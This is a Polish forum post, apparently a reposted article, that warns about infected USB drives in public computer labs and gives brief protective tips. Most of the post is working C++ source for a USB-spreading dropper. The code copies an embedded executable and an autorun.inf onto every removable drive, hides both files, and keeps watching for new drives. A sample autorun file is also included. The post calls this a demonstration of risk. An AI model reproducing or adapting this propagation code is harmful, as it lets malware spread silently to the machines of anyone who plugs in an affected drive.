RumcajsJumper 5177 Napisano 18 Listopada 2015 Właściciel Udostępnij Napisano 18 Listopada 2015 Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak: Biblioteki Kafejki internetowe Szkolna pracownia internetowa....Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok. Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.Na początku dołączamy pliki nagłówkowe takie jak: #include <windows.h> #include <string> #include <vector> Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC void GetPendrives(std::vector<std::string>* pendrives) { char* bufor=new char[1024]; DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci { delete bufor; bufor=new char[need]; GetLogicalDriveStrings(need,bufor); } int n=need/4; // ilosc dyskow std::string* dyski=new std::string[n]; int i=0; while(i<n) { dyski[i]=(char*)(bufor+(i*4)); i++; } pendrives->clear();//usuwamy wszystko co jest w vectorze i=0; while(i<n) { if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami { pendrives->push_back(dyski[i]); } i++; } } Teraz czas na inne potrzebne nam funkcje bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive { int n=vec.size(); int i=0; while(i<n) { if(vec[i]==str) { return true; } i++; } return false; } bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow { bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA); if(!hResource) { return result; } if( hResource != NULL ){ HGLOBAL hLoader = LoadResource(NULL,hResource); if( hLoader != NULL ){ byte *data = (byte *)LockResource(hLoader); DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){ HANDLE hFile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if( hFile != INVALID_HANDLE_VALUE ){ DWORD written = 0; int write = WriteFile(hFile, data, len, &written, NULL); if( len == written && write == TRUE ) result = true; } CloseHandle(hFile); } UnlockResource(hLoader); } FreeResource(hLoader); } return result; } A ten kod umieszczamy wewnatrz main: std::vector<std::string> vec; GetPendrives(&vec); int i=0; while(i<vec.size()){ //w tym momecie wypakowujemy na wszystkie pendrivy nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=vec[i]; std::string autorun=vec[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy i++; } std::vector<std::string> tmp; int n=0; i=0; while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy { GetPendrives(&tmp); n=tmp.size(); i=0; while(i<n) { if(!FindInVector(tmp[i].c_str(),vec)) { //w tym momecie wypakowujemy na ten dysk nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=tmp[i]; std::string autorun=tmp[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy} i++; } vec=tmp; Sleep(10000); } Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w googlePrzykładowy plik autorun: [autorun] OPEN=Start.exe shellexecute=Start.exe shell=Auto shellAuto=&Autoplay shellAutocommand=Start.exe Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivyAutor artykułu: Grzonu (grzonu.com.pl) POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO! Skontaktuj się ze mną po więcej szczegółów Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
RumcajsJumper 5177 Napisano 21 Listopada 2016 Autor Właściciel Udostępnij Napisano 21 Listopada 2016 Wiadomość automatyczna Temat został przeniesiony z "STREFA POMOCY → Hacking" do "Archiwum Forum → Tematy Archiwalne". POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO! Skontaktuj się ze mną po więcej szczegółów Odnośnik do komentarza Udostępnij na innych stronach Więcej opcji udostępniania...
Rekomendowane odpowiedzi